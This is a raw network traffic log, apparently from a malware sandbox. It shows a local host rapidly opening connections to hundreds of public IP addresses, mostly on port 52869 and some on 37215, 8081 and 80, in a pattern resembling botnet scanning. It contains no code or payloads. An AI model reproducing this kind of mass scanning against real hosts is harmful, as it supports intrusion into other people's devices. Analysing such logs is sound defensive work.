Jul 20, 2024 23:10:39.016522884 CEST	58771	52869	192.168.2.15	9.63.142.147
Jul 20, 2024 23:10:39.016522884 CEST	58771	52869	192.168.2.15	209.158.215.225
Jul 20, 2024 23:10:39.016522884 CEST	58771	52869	192.168.2.15	79.177.210.52
Jul 20, 2024 23:10:39.016522884 CEST	58771	52869	192.168.2.15	52.100.16.134
Jul 20, 2024 23:10:39.016522884 CEST	58771	52869	192.168.2.15	92.229.5.190
Jul 20, 2024 23:10:39.016522884 CEST	58771	52869	192.168.2.15	83.117.230.210
Jul 20, 2024 23:10:39.016522884 CEST	58771	52869	192.168.2.15	108.222.144.79
Jul 20, 2024 23:10:39.019227982 CEST	58771	52869	192.168.2.15	79.176.213.170
Jul 20, 2024 23:10:39.019227982 CEST	58771	52869	192.168.2.15	170.70.21.62
Jul 20, 2024 23:10:39.019227982 CEST	58771	52869	192.168.2.15	176.210.83.208
Jul 20, 2024 23:10:39.019227982 CEST	58771	52869	192.168.2.15	47.247.235.114
Jul 20, 2024 23:10:39.019227982 CEST	58771	52869	192.168.2.15	72.195.76.92
Jul 20, 2024 23:10:39.019227982 CEST	58771	52869	192.168.2.15	82.72.252.160
Jul 20, 2024 23:10:39.019227982 CEST	58771	52869	192.168.2.15	95.122.200.129
Jul 20, 2024 23:10:39.019227982 CEST	58771	52869	192.168.2.15	164.87.216.203
Jul 20, 2024 23:10:39.019305944 CEST	52869	58771	60.21.104.14	192.168.2.15
Jul 20, 2024 23:10:39.019316912 CEST	52869	58771	158.54.180.38	192.168.2.15
Jul 20, 2024 23:10:39.019325972 CEST	52869	58771	190.71.144.237	192.168.2.15
Jul 20, 2024 23:10:39.019335985 CEST	52869	58771	216.42.201.137	192.168.2.15
Jul 20, 2024 23:10:39.019345999 CEST	52869	58771	211.85.69.54	192.168.2.15
Jul 20, 2024 23:10:39.019356012 CEST	52869	58771	20.73.124.228	192.168.2.15
Jul 20, 2024 23:10:39.019366026 CEST	52869	58771	219.67.141.37	192.168.2.15
Jul 20, 2024 23:10:39.019376993 CEST	52869	58771	95.202.176.59	192.168.2.15
Jul 20, 2024 23:10:39.019767046 CEST	58771	52869	192.168.2.15	2.138.37.61
Jul 20, 2024 23:10:39.019767046 CEST	58771	52869	192.168.2.15	85.34.224.214
Jul 20, 2024 23:10:39.019767046 CEST	58771	52869	192.168.2.15	177.38.52.36
Jul 20, 2024 23:10:39.019767046 CEST	58771	52869	192.168.2.15	8.87.27.46
Jul 20, 2024 23:10:39.019767046 CEST	58771	52869	192.168.2.15	157.84.195.186
Jul 20, 2024 23:10:39.019767046 CEST	58771	52869	192.168.2.15	164.38.171.12
Jul 20, 2024 23:10:39.019767046 CEST	58771	52869	192.168.2.15	130.206.234.168
Jul 20, 2024 23:10:39.019767046 CEST	58771	52869	192.168.2.15	98.58.188.232
Jul 20, 2024 23:10:39.021826982 CEST	58771	52869	192.168.2.15	150.218.255.222
Jul 20, 2024 23:10:39.021826982 CEST	58771	52869	192.168.2.15	182.66.207.94
Jul 20, 2024 23:10:39.021826982 CEST	58771	52869	192.168.2.15	61.251.26.109
Jul 20, 2024 23:10:39.021826982 CEST	58771	52869	192.168.2.15	222.102.18.252
Jul 20, 2024 23:10:39.021826982 CEST	58771	52869	192.168.2.15	8.108.232.162
Jul 20, 2024 23:10:39.021826982 CEST	58771	52869	192.168.2.15	196.37.119.237
Jul 20, 2024 23:10:39.021826982 CEST	58771	52869	192.168.2.15	180.218.187.69
Jul 20, 2024 23:10:39.021826982 CEST	58771	52869	192.168.2.15	153.234.171.103
Jul 20, 2024 23:10:39.022279978 CEST	58771	52869	192.168.2.15	153.33.223.61
Jul 20, 2024 23:10:39.022279978 CEST	58771	52869	192.168.2.15	31.193.154.128
Jul 20, 2024 23:10:39.022279978 CEST	58771	52869	192.168.2.15	155.221.104.63
Jul 20, 2024 23:10:39.022279978 CEST	58771	52869	192.168.2.15	81.251.193.67
Jul 20, 2024 23:10:39.022279978 CEST	58771	52869	192.168.2.15	155.188.112.159
Jul 20, 2024 23:10:39.022279978 CEST	58771	52869	192.168.2.15	221.143.61.32
Jul 20, 2024 23:10:39.022279978 CEST	58771	52869	192.168.2.15	168.147.170.126
Jul 20, 2024 23:10:39.022279978 CEST	58771	52869	192.168.2.15	48.86.68.244
Jul 20, 2024 23:10:39.022562027 CEST	58771	52869	192.168.2.15	117.47.44.185
Jul 20, 2024 23:10:39.022562027 CEST	58771	52869	192.168.2.15	147.124.129.188
Jul 20, 2024 23:10:39.022562027 CEST	58771	52869	192.168.2.15	60.3.61.97
Jul 20, 2024 23:10:39.022562027 CEST	58771	52869	192.168.2.15	8.53.138.98
Jul 20, 2024 23:10:39.022562027 CEST	58771	52869	192.168.2.15	81.20.213.123
Jul 20, 2024 23:10:39.022562027 CEST	58771	52869	192.168.2.15	95.12.105.130
Jul 20, 2024 23:10:39.022562027 CEST	58771	52869	192.168.2.15	103.38.144.193
Jul 20, 2024 23:10:39.022562027 CEST	58771	52869	192.168.2.15	89.238.4.116
Jul 20, 2024 23:10:39.024271965 CEST	58771	52869	192.168.2.15	59.126.125.56
Jul 20, 2024 23:10:39.024271965 CEST	58771	52869	192.168.2.15	4.152.82.100
Jul 20, 2024 23:10:39.024271965 CEST	58771	52869	192.168.2.15	65.214.40.120
Jul 20, 2024 23:10:39.024271965 CEST	58771	52869	192.168.2.15	69.188.160.102
Jul 20, 2024 23:10:39.024271965 CEST	58771	52869	192.168.2.15	130.237.207.172
Jul 20, 2024 23:10:39.024271965 CEST	58771	52869	192.168.2.15	213.160.133.171
Jul 20, 2024 23:10:39.024271965 CEST	58771	52869	192.168.2.15	201.252.27.167
Jul 20, 2024 23:10:39.024271965 CEST	58771	52869	192.168.2.15	146.237.216.238
Jul 20, 2024 23:10:39.024688959 CEST	52869	48602	87.147.33.140	192.168.2.15
Jul 20, 2024 23:10:39.027210951 CEST	58771	52869	192.168.2.15	186.213.251.40
Jul 20, 2024 23:10:39.027210951 CEST	58771	52869	192.168.2.15	99.35.210.242
Jul 20, 2024 23:10:39.027210951 CEST	58771	52869	192.168.2.15	177.211.112.54
Jul 20, 2024 23:10:39.027210951 CEST	58771	52869	192.168.2.15	5.255.138.169
Jul 20, 2024 23:10:39.027210951 CEST	58771	52869	192.168.2.15	107.78.110.196
Jul 20, 2024 23:10:39.027210951 CEST	58771	52869	192.168.2.15	191.145.101.40
Jul 20, 2024 23:10:39.027210951 CEST	58771	52869	192.168.2.15	128.176.48.11
Jul 20, 2024 23:10:39.027210951 CEST	58771	52869	192.168.2.15	44.214.195.50
Jul 20, 2024 23:10:39.027345896 CEST	58771	52869	192.168.2.15	25.37.55.190
Jul 20, 2024 23:10:39.027345896 CEST	58771	52869	192.168.2.15	207.236.14.238
Jul 20, 2024 23:10:39.027347088 CEST	58771	52869	192.168.2.15	162.86.157.208
Jul 20, 2024 23:10:39.027347088 CEST	58771	52869	192.168.2.15	194.154.111.172
Jul 20, 2024 23:10:39.027347088 CEST	58771	52869	192.168.2.15	31.32.123.70
Jul 20, 2024 23:10:39.027347088 CEST	58771	52869	192.168.2.15	200.84.127.59
Jul 20, 2024 23:10:39.027347088 CEST	58771	52869	192.168.2.15	24.54.190.171
Jul 20, 2024 23:10:39.027347088 CEST	58771	52869	192.168.2.15	71.133.185.252
Jul 20, 2024 23:10:39.027620077 CEST	58771	52869	192.168.2.15	5.187.25.199
Jul 20, 2024 23:10:39.027620077 CEST	58771	52869	192.168.2.15	197.250.222.67
Jul 20, 2024 23:10:39.027620077 CEST	58771	52869	192.168.2.15	72.77.112.241
Jul 20, 2024 23:10:39.027620077 CEST	58771	52869	192.168.2.15	176.97.222.132
Jul 20, 2024 23:10:39.027620077 CEST	58771	52869	192.168.2.15	193.31.233.220
Jul 20, 2024 23:10:39.027620077 CEST	58771	52869	192.168.2.15	188.115.137.193
Jul 20, 2024 23:10:39.027620077 CEST	58771	52869	192.168.2.15	25.9.29.130
Jul 20, 2024 23:10:39.027620077 CEST	58771	52869	192.168.2.15	123.134.216.109
Jul 20, 2024 23:10:39.027935982 CEST	58771	52869	192.168.2.15	75.226.203.51
Jul 20, 2024 23:10:39.027935982 CEST	58771	52869	192.168.2.15	46.31.146.236
Jul 20, 2024 23:10:39.027935982 CEST	58771	52869	192.168.2.15	142.194.252.100
Jul 20, 2024 23:10:39.027935982 CEST	58771	52869	192.168.2.15	101.104.30.51
Jul 20, 2024 23:10:39.027935982 CEST	58771	52869	192.168.2.15	160.238.75.10
Jul 20, 2024 23:10:39.027935982 CEST	58771	52869	192.168.2.15	195.79.71.165
Jul 20, 2024 23:10:39.027935982 CEST	58771	52869	192.168.2.15	113.136.161.136
Jul 20, 2024 23:10:39.027936935 CEST	58771	52869	192.168.2.15	42.12.61.106
Jul 20, 2024 23:10:39.029690027 CEST	58771	52869	192.168.2.15	161.25.104.105
Jul 20, 2024 23:10:39.029690027 CEST	58771	52869	192.168.2.15	52.255.113.177
Jul 20, 2024 23:10:39.029690027 CEST	58771	52869	192.168.2.15	136.25.82.148
Jul 20, 2024 23:10:39.029690027 CEST	58771	52869	192.168.2.15	92.89.175.241
Jul 20, 2024 23:10:39.029690027 CEST	58771	52869	192.168.2.15	61.177.78.59
Jul 20, 2024 23:10:39.029690027 CEST	58771	52869	192.168.2.15	52.139.121.199
Jul 20, 2024 23:10:39.029690027 CEST	58771	52869	192.168.2.15	223.141.36.108
Jul 20, 2024 23:10:39.029690027 CEST	58771	52869	192.168.2.15	116.113.19.95
Jul 20, 2024 23:10:39.032248974 CEST	58771	52869	192.168.2.15	42.7.19.149
Jul 20, 2024 23:10:39.032248974 CEST	58771	52869	192.168.2.15	71.48.216.96
Jul 20, 2024 23:10:39.032248974 CEST	58771	52869	192.168.2.15	36.133.80.61
Jul 20, 2024 23:10:39.032248974 CEST	58771	52869	192.168.2.15	143.197.112.0
Jul 20, 2024 23:10:39.032248974 CEST	58771	52869	192.168.2.15	209.59.105.240
Jul 20, 2024 23:10:39.032248974 CEST	58771	52869	192.168.2.15	222.148.81.217
Jul 20, 2024 23:10:39.032248974 CEST	58771	52869	192.168.2.15	192.14.38.115
Jul 20, 2024 23:10:39.032248974 CEST	58771	52869	192.168.2.15	195.14.87.0
Jul 20, 2024 23:10:39.032551050 CEST	58771	52869	192.168.2.15	42.226.194.96
Jul 20, 2024 23:10:39.032551050 CEST	58771	52869	192.168.2.15	4.83.208.38
Jul 20, 2024 23:10:39.032551050 CEST	58771	52869	192.168.2.15	61.237.144.247
Jul 20, 2024 23:10:39.032551050 CEST	58771	52869	192.168.2.15	148.140.13.251
Jul 20, 2024 23:10:39.032551050 CEST	58771	52869	192.168.2.15	216.231.235.11
Jul 20, 2024 23:10:39.032551050 CEST	58771	52869	192.168.2.15	177.71.72.22
Jul 20, 2024 23:10:39.032551050 CEST	58771	52869	192.168.2.15	104.150.162.9
Jul 20, 2024 23:10:39.032551050 CEST	58771	52869	192.168.2.15	206.142.163.38
Jul 20, 2024 23:10:39.033066988 CEST	58771	52869	192.168.2.15	141.17.169.244
Jul 20, 2024 23:10:39.033066988 CEST	58771	52869	192.168.2.15	211.205.253.106
Jul 20, 2024 23:10:39.033066988 CEST	58771	52869	192.168.2.15	87.187.80.123
Jul 20, 2024 23:10:39.033066988 CEST	58771	52869	192.168.2.15	171.72.121.122
Jul 20, 2024 23:10:39.033066988 CEST	58771	52869	192.168.2.15	122.219.133.204
Jul 20, 2024 23:10:39.033066988 CEST	58771	52869	192.168.2.15	37.62.236.21
Jul 20, 2024 23:10:39.033066988 CEST	58771	52869	192.168.2.15	44.232.157.14
Jul 20, 2024 23:10:39.033067942 CEST	58771	52869	192.168.2.15	19.131.16.88
Jul 20, 2024 23:10:39.034679890 CEST	58771	52869	192.168.2.15	117.193.40.85
Jul 20, 2024 23:10:39.034679890 CEST	58771	52869	192.168.2.15	181.56.225.93
Jul 20, 2024 23:10:39.034679890 CEST	58771	52869	192.168.2.15	195.195.214.248
Jul 20, 2024 23:10:39.034679890 CEST	58771	52869	192.168.2.15	54.133.252.181
Jul 20, 2024 23:10:39.034679890 CEST	58771	52869	192.168.2.15	117.174.46.175
Jul 20, 2024 23:10:39.034679890 CEST	58771	52869	192.168.2.15	112.136.93.137
Jul 20, 2024 23:10:39.034679890 CEST	58771	52869	192.168.2.15	106.231.40.92
Jul 20, 2024 23:10:39.034679890 CEST	58771	52869	192.168.2.15	166.103.193.134
Jul 20, 2024 23:10:39.036112070 CEST	58771	52869	192.168.2.15	186.36.188.212
Jul 20, 2024 23:10:39.036112070 CEST	58771	52869	192.168.2.15	173.90.20.25
Jul 20, 2024 23:10:39.036112070 CEST	58771	52869	192.168.2.15	164.241.4.82
Jul 20, 2024 23:10:39.036112070 CEST	58771	52869	192.168.2.15	134.133.7.125
Jul 20, 2024 23:10:39.036112070 CEST	58771	52869	192.168.2.15	203.131.145.116
Jul 20, 2024 23:10:39.036112070 CEST	58771	52869	192.168.2.15	145.245.159.60
Jul 20, 2024 23:10:39.036112070 CEST	58771	52869	192.168.2.15	112.27.18.227
Jul 20, 2024 23:10:39.036112070 CEST	58771	52869	192.168.2.15	151.158.201.231
Jul 20, 2024 23:10:39.036793947 CEST	58771	52869	192.168.2.15	216.70.9.195
Jul 20, 2024 23:10:39.036793947 CEST	58771	52869	192.168.2.15	20.72.155.20
Jul 20, 2024 23:10:39.036793947 CEST	58771	52869	192.168.2.15	179.245.230.76
Jul 20, 2024 23:10:39.036793947 CEST	58771	52869	192.168.2.15	191.88.43.108
Jul 20, 2024 23:10:39.036793947 CEST	58771	52869	192.168.2.15	134.213.55.87
Jul 20, 2024 23:10:39.036793947 CEST	58771	52869	192.168.2.15	72.205.255.41
Jul 20, 2024 23:10:39.036793947 CEST	58771	52869	192.168.2.15	198.17.103.134
Jul 20, 2024 23:10:39.036793947 CEST	58771	52869	192.168.2.15	52.74.111.144
Jul 20, 2024 23:10:39.037082911 CEST	58771	52869	192.168.2.15	175.142.67.178
Jul 20, 2024 23:10:39.037082911 CEST	58771	52869	192.168.2.15	111.87.163.163
Jul 20, 2024 23:10:39.037082911 CEST	58771	52869	192.168.2.15	93.70.16.216
Jul 20, 2024 23:10:39.037082911 CEST	58771	52869	192.168.2.15	102.55.203.115
Jul 20, 2024 23:10:39.037082911 CEST	58771	52869	192.168.2.15	186.84.170.101
Jul 20, 2024 23:10:39.037082911 CEST	58771	52869	192.168.2.15	1.148.167.254
Jul 20, 2024 23:10:39.037082911 CEST	58771	52869	192.168.2.15	166.52.15.70
Jul 20, 2024 23:10:39.037082911 CEST	58771	52869	192.168.2.15	107.76.125.57
Jul 20, 2024 23:10:39.039093018 CEST	58771	52869	192.168.2.15	187.144.190.134
Jul 20, 2024 23:10:39.039093018 CEST	58771	52869	192.168.2.15	120.147.99.237
Jul 20, 2024 23:10:39.039093018 CEST	58771	52869	192.168.2.15	68.242.232.23
Jul 20, 2024 23:10:39.039093018 CEST	58771	52869	192.168.2.15	216.85.14.238
Jul 20, 2024 23:10:39.039093018 CEST	58771	52869	192.168.2.15	169.180.131.93
Jul 20, 2024 23:10:39.039093018 CEST	58771	52869	192.168.2.15	173.198.50.188
Jul 20, 2024 23:10:39.039093018 CEST	58771	52869	192.168.2.15	138.116.86.109
Jul 20, 2024 23:10:39.039093018 CEST	58771	52869	192.168.2.15	198.101.221.147
Jul 20, 2024 23:10:39.039380074 CEST	58771	52869	192.168.2.15	25.214.179.203
Jul 20, 2024 23:10:39.039381027 CEST	58771	52869	192.168.2.15	42.46.131.77
Jul 20, 2024 23:10:39.039381027 CEST	58771	52869	192.168.2.15	9.177.221.9
Jul 20, 2024 23:10:39.039381027 CEST	58771	52869	192.168.2.15	102.187.49.183
Jul 20, 2024 23:10:39.039381027 CEST	58771	52869	192.168.2.15	88.183.173.179
Jul 20, 2024 23:10:39.039381027 CEST	58771	52869	192.168.2.15	192.95.64.182
Jul 20, 2024 23:10:39.039381027 CEST	58771	52869	192.168.2.15	72.86.248.151
Jul 20, 2024 23:10:39.039381027 CEST	58771	52869	192.168.2.15	222.198.128.11
Jul 20, 2024 23:10:39.041879892 CEST	58771	52869	192.168.2.15	169.252.47.253
Jul 20, 2024 23:10:39.041879892 CEST	58771	52869	192.168.2.15	77.179.58.34
Jul 20, 2024 23:10:39.041879892 CEST	58771	52869	192.168.2.15	43.133.8.12
Jul 20, 2024 23:10:39.041879892 CEST	58771	52869	192.168.2.15	5.217.122.202
Jul 20, 2024 23:10:39.041879892 CEST	58771	52869	192.168.2.15	103.192.13.82
Jul 20, 2024 23:10:39.041879892 CEST	58771	52869	192.168.2.15	126.247.80.60
Jul 20, 2024 23:10:39.041879892 CEST	58771	52869	192.168.2.15	157.131.235.29
Jul 20, 2024 23:10:39.041879892 CEST	58771	52869	192.168.2.15	75.58.233.33
Jul 20, 2024 23:10:39.042040110 CEST	58771	52869	192.168.2.15	90.236.161.92
Jul 20, 2024 23:10:39.042040110 CEST	58771	52869	192.168.2.15	170.145.38.103
Jul 20, 2024 23:10:39.042040110 CEST	58771	52869	192.168.2.15	179.232.254.227
Jul 20, 2024 23:10:39.042040110 CEST	58771	52869	192.168.2.15	87.185.213.216
Jul 20, 2024 23:10:39.042040110 CEST	58771	52869	192.168.2.15	41.251.78.177
Jul 20, 2024 23:10:39.042040110 CEST	58771	52869	192.168.2.15	178.66.185.45
Jul 20, 2024 23:10:39.042040110 CEST	58771	52869	192.168.2.15	154.61.109.197
Jul 20, 2024 23:10:39.042040110 CEST	58771	52869	192.168.2.15	91.189.246.64
Jul 20, 2024 23:10:39.043001890 CEST	58771	52869	192.168.2.15	12.182.225.136
Jul 20, 2024 23:10:39.043001890 CEST	58771	52869	192.168.2.15	92.174.143.55
Jul 20, 2024 23:10:39.043001890 CEST	58771	52869	192.168.2.15	100.187.17.51
Jul 20, 2024 23:10:39.043003082 CEST	58771	52869	192.168.2.15	191.232.128.103
Jul 20, 2024 23:10:39.043003082 CEST	58771	52869	192.168.2.15	58.116.3.181
Jul 20, 2024 23:10:39.043003082 CEST	58771	52869	192.168.2.15	119.181.57.49
Jul 20, 2024 23:10:39.043003082 CEST	58771	52869	192.168.2.15	54.27.197.136
Jul 20, 2024 23:10:39.043003082 CEST	58771	52869	192.168.2.15	103.227.90.102
Jul 20, 2024 23:10:39.043119907 CEST	58771	52869	192.168.2.15	217.165.15.99
Jul 20, 2024 23:10:39.043119907 CEST	58771	52869	192.168.2.15	183.152.46.183
Jul 20, 2024 23:10:39.043119907 CEST	58771	52869	192.168.2.15	92.82.130.170
Jul 20, 2024 23:10:39.043119907 CEST	58771	52869	192.168.2.15	34.81.155.133
Jul 20, 2024 23:10:39.043119907 CEST	58771	52869	192.168.2.15	113.222.34.152
Jul 20, 2024 23:10:39.043119907 CEST	58771	52869	192.168.2.15	74.156.46.132
Jul 20, 2024 23:10:39.043119907 CEST	58771	52869	192.168.2.15	133.94.89.69
Jul 20, 2024 23:10:39.043119907 CEST	58771	52869	192.168.2.15	108.61.81.113
Jul 20, 2024 23:10:39.043848038 CEST	52869	39574	112.183.31.205	192.168.2.15
Jul 20, 2024 23:10:39.046577930 CEST	58771	52869	192.168.2.15	79.68.103.18
Jul 20, 2024 23:10:39.046577930 CEST	58771	52869	192.168.2.15	94.178.164.10
Jul 20, 2024 23:10:39.046577930 CEST	58771	52869	192.168.2.15	209.154.19.68
Jul 20, 2024 23:10:39.046577930 CEST	58771	52869	192.168.2.15	82.65.1.78
Jul 20, 2024 23:10:39.046577930 CEST	58771	52869	192.168.2.15	105.187.227.244
Jul 20, 2024 23:10:39.046577930 CEST	58771	52869	192.168.2.15	223.127.152.34
Jul 20, 2024 23:10:39.046577930 CEST	58771	52869	192.168.2.15	85.122.241.135
Jul 20, 2024 23:10:39.046577930 CEST	58771	52869	192.168.2.15	203.42.55.19
Jul 20, 2024 23:10:39.046730042 CEST	58771	52869	192.168.2.15	27.90.178.54
Jul 20, 2024 23:10:39.046730042 CEST	58771	52869	192.168.2.15	170.110.46.30
Jul 20, 2024 23:10:39.046730042 CEST	58771	52869	192.168.2.15	17.113.144.131
Jul 20, 2024 23:10:39.047203064 CEST	58771	52869	192.168.2.15	177.59.245.209
Jul 20, 2024 23:10:39.047203064 CEST	58771	52869	192.168.2.15	166.30.209.35
Jul 20, 2024 23:10:39.047203064 CEST	58771	52869	192.168.2.15	201.163.86.45
Jul 20, 2024 23:10:39.047203064 CEST	58771	52869	192.168.2.15	122.220.2.110
Jul 20, 2024 23:10:39.047203064 CEST	58771	52869	192.168.2.15	70.167.51.81
Jul 20, 2024 23:10:39.047203064 CEST	58771	52869	192.168.2.15	184.226.113.143
Jul 20, 2024 23:10:39.047204018 CEST	58771	52869	192.168.2.15	176.7.200.170
Jul 20, 2024 23:10:39.047204018 CEST	58771	52869	192.168.2.15	45.196.65.253
Jul 20, 2024 23:10:39.047933102 CEST	58771	52869	192.168.2.15	205.191.216.245
Jul 20, 2024 23:10:39.047933102 CEST	58771	52869	192.168.2.15	101.64.153.253
Jul 20, 2024 23:10:39.047933102 CEST	58771	52869	192.168.2.15	48.100.128.90
Jul 20, 2024 23:10:39.047934055 CEST	58771	52869	192.168.2.15	38.33.145.83
Jul 20, 2024 23:10:39.047934055 CEST	58771	52869	192.168.2.15	158.161.126.217
Jul 20, 2024 23:10:39.047934055 CEST	58771	52869	192.168.2.15	92.52.146.107
Jul 20, 2024 23:10:39.047934055 CEST	58771	52869	192.168.2.15	109.111.235.58
Jul 20, 2024 23:10:39.047934055 CEST	58771	52869	192.168.2.15	36.172.179.240
Jul 20, 2024 23:10:39.048161030 CEST	58771	52869	192.168.2.15	181.197.235.182
Jul 20, 2024 23:10:39.048161030 CEST	58771	52869	192.168.2.15	162.46.246.161
Jul 20, 2024 23:10:39.048161030 CEST	58771	52869	192.168.2.15	51.213.60.163
Jul 20, 2024 23:10:39.048161030 CEST	58771	52869	192.168.2.15	201.142.86.127
Jul 20, 2024 23:10:39.048161030 CEST	58771	52869	192.168.2.15	165.248.194.220
Jul 20, 2024 23:10:39.048161030 CEST	58771	52869	192.168.2.15	185.11.210.188
Jul 20, 2024 23:10:39.048161030 CEST	58771	52869	192.168.2.15	82.110.100.250
Jul 20, 2024 23:10:39.048161030 CEST	58771	52869	192.168.2.15	87.208.203.210
Jul 20, 2024 23:10:39.049901962 CEST	58771	52869	192.168.2.15	19.237.242.13
Jul 20, 2024 23:10:39.049901962 CEST	58771	52869	192.168.2.15	189.216.205.236
Jul 20, 2024 23:10:39.049901962 CEST	58771	52869	192.168.2.15	160.221.155.151
Jul 20, 2024 23:10:39.049901962 CEST	58771	52869	192.168.2.15	209.227.250.145
Jul 20, 2024 23:10:39.049901962 CEST	58771	52869	192.168.2.15	49.109.114.24
Jul 20, 2024 23:10:39.049901962 CEST	58771	52869	192.168.2.15	178.229.97.234
Jul 20, 2024 23:10:39.049901962 CEST	58771	52869	192.168.2.15	155.81.106.165
Jul 20, 2024 23:10:39.049901962 CEST	58771	52869	192.168.2.15	104.41.98.203
Jul 20, 2024 23:10:39.050578117 CEST	58771	52869	192.168.2.15	37.152.21.206
Jul 20, 2024 23:10:39.050578117 CEST	58771	52869	192.168.2.15	190.217.179.48
Jul 20, 2024 23:10:39.050578117 CEST	58771	52869	192.168.2.15	184.153.16.160
Jul 20, 2024 23:10:39.050578117 CEST	58771	52869	192.168.2.15	76.121.9.197
Jul 20, 2024 23:10:39.050578117 CEST	58771	52869	192.168.2.15	85.58.46.197
Jul 20, 2024 23:10:39.050578117 CEST	58771	52869	192.168.2.15	58.182.144.205
Jul 20, 2024 23:10:39.050578117 CEST	58771	52869	192.168.2.15	115.168.195.29
Jul 20, 2024 23:10:39.051727057 CEST	58771	52869	192.168.2.15	160.69.221.68
Jul 20, 2024 23:10:39.051727057 CEST	58771	52869	192.168.2.15	219.116.181.0
Jul 20, 2024 23:10:39.051727057 CEST	58771	52869	192.168.2.15	160.29.196.231
Jul 20, 2024 23:10:39.051727057 CEST	58771	52869	192.168.2.15	27.17.138.84
Jul 20, 2024 23:10:39.051727057 CEST	58771	52869	192.168.2.15	140.223.133.228
Jul 20, 2024 23:10:39.051727057 CEST	58771	52869	192.168.2.15	143.39.73.238
Jul 20, 2024 23:10:39.051727057 CEST	58771	52869	192.168.2.15	89.44.192.146
Jul 20, 2024 23:10:39.051727057 CEST	58771	52869	192.168.2.15	174.22.107.242
Jul 20, 2024 23:10:39.052715063 CEST	58771	52869	192.168.2.15	24.38.240.51
Jul 20, 2024 23:10:39.052715063 CEST	58771	52869	192.168.2.15	73.237.50.172
Jul 20, 2024 23:10:39.052715063 CEST	58771	52869	192.168.2.15	168.60.99.105
Jul 20, 2024 23:10:39.052715063 CEST	58771	52869	192.168.2.15	136.60.36.22
Jul 20, 2024 23:10:39.052715063 CEST	58771	52869	192.168.2.15	45.82.62.255
Jul 20, 2024 23:10:39.053591013 CEST	58771	52869	192.168.2.15	98.66.219.40
Jul 20, 2024 23:10:39.053591013 CEST	58771	52869	192.168.2.15	39.86.115.242
Jul 20, 2024 23:10:39.053591013 CEST	58771	52869	192.168.2.15	109.93.128.209
Jul 20, 2024 23:10:39.053591013 CEST	58771	52869	192.168.2.15	165.248.89.125
Jul 20, 2024 23:10:39.053591013 CEST	58771	52869	192.168.2.15	118.220.208.246
Jul 20, 2024 23:10:39.053591013 CEST	58771	52869	192.168.2.15	57.13.138.62
Jul 20, 2024 23:10:39.053591013 CEST	58771	52869	192.168.2.15	154.9.232.23
Jul 20, 2024 23:10:39.053591013 CEST	58771	52869	192.168.2.15	169.79.227.81
Jul 20, 2024 23:10:39.053812981 CEST	58771	52869	192.168.2.15	90.168.138.133
Jul 20, 2024 23:10:39.053812981 CEST	58771	52869	192.168.2.15	90.243.163.184
Jul 20, 2024 23:10:39.053812981 CEST	58771	52869	192.168.2.15	19.178.73.115
Jul 20, 2024 23:10:39.053812981 CEST	58771	52869	192.168.2.15	68.127.177.74
Jul 20, 2024 23:10:39.054666996 CEST	58771	52869	192.168.2.15	143.231.161.204
Jul 20, 2024 23:10:39.054666996 CEST	58771	52869	192.168.2.15	83.131.139.248
Jul 20, 2024 23:10:39.054666996 CEST	58771	52869	192.168.2.15	24.217.170.140
Jul 20, 2024 23:10:39.054666996 CEST	58771	52869	192.168.2.15	202.225.54.27
Jul 20, 2024 23:10:39.054666996 CEST	58771	52869	192.168.2.15	110.119.198.9
Jul 20, 2024 23:10:39.054666996 CEST	58771	52869	192.168.2.15	192.175.130.142
Jul 20, 2024 23:10:39.054666996 CEST	58771	52869	192.168.2.15	40.60.223.205
Jul 20, 2024 23:10:39.054666996 CEST	58771	52869	192.168.2.15	154.58.208.228
Jul 20, 2024 23:10:39.056392908 CEST	58771	52869	192.168.2.15	4.68.54.79
Jul 20, 2024 23:10:39.056392908 CEST	58771	52869	192.168.2.15	174.208.164.191
Jul 20, 2024 23:10:39.056392908 CEST	58771	52869	192.168.2.15	116.119.52.37
Jul 20, 2024 23:10:39.056392908 CEST	58771	52869	192.168.2.15	220.232.136.70
Jul 20, 2024 23:10:39.056392908 CEST	58771	52869	192.168.2.15	202.28.202.224
Jul 20, 2024 23:10:39.056392908 CEST	58771	52869	192.168.2.15	209.183.99.39
Jul 20, 2024 23:10:39.056392908 CEST	58771	52869	192.168.2.15	156.228.105.46
Jul 20, 2024 23:10:39.056392908 CEST	58771	52869	192.168.2.15	32.164.208.200
Jul 20, 2024 23:10:39.056693077 CEST	58771	52869	192.168.2.15	213.123.65.61
Jul 20, 2024 23:10:39.056693077 CEST	58771	52869	192.168.2.15	124.135.237.200
Jul 20, 2024 23:10:39.056693077 CEST	58771	52869	192.168.2.15	113.210.251.223
Jul 20, 2024 23:10:39.056693077 CEST	58771	52869	192.168.2.15	154.122.109.79
Jul 20, 2024 23:10:39.056693077 CEST	58771	52869	192.168.2.15	199.140.211.43
Jul 20, 2024 23:10:39.056693077 CEST	58771	52869	192.168.2.15	160.253.224.27
Jul 20, 2024 23:10:39.056693077 CEST	58771	52869	192.168.2.15	73.171.207.188
Jul 20, 2024 23:10:39.056693077 CEST	48602	52869	192.168.2.15	87.147.33.140
Jul 20, 2024 23:10:39.057692051 CEST	58771	52869	192.168.2.15	47.105.202.14
Jul 20, 2024 23:10:39.057692051 CEST	58771	52869	192.168.2.15	182.194.127.81
Jul 20, 2024 23:10:39.057692051 CEST	58771	52869	192.168.2.15	130.172.174.123
Jul 20, 2024 23:10:39.057692051 CEST	58771	52869	192.168.2.15	60.21.104.14
Jul 20, 2024 23:10:39.057692051 CEST	58771	52869	192.168.2.15	158.54.180.38
Jul 20, 2024 23:10:39.057692051 CEST	58771	52869	192.168.2.15	216.42.201.137
Jul 20, 2024 23:10:39.057692051 CEST	58771	52869	192.168.2.15	190.71.144.237
Jul 20, 2024 23:10:39.057692051 CEST	58771	52869	192.168.2.15	211.85.69.54
Jul 20, 2024 23:10:39.058626890 CEST	58771	52869	192.168.2.15	20.73.124.228
Jul 20, 2024 23:10:39.058626890 CEST	58771	52869	192.168.2.15	219.67.141.37
Jul 20, 2024 23:10:39.058626890 CEST	58771	52869	192.168.2.15	95.202.176.59
Jul 20, 2024 23:10:39.060942888 CEST	51240	8081	192.168.2.15	96.174.40.204
Jul 20, 2024 23:10:39.061218977 CEST	40272	52869	192.168.2.15	112.183.31.205
Jul 20, 2024 23:10:39.062747955 CEST	49590	80	192.168.2.15	88.148.148.170
Jul 20, 2024 23:10:39.063000917 CEST	38292	52869	192.168.2.15	119.87.220.235
Jul 20, 2024 23:10:39.063000917 CEST	38292	52869	192.168.2.15	119.87.220.235
Jul 20, 2024 23:10:39.063194990 CEST	43782	37215	192.168.2.15	166.151.137.80
Jul 20, 2024 23:10:39.064199924 CEST	58682	8081	192.168.2.15	39.109.155.171
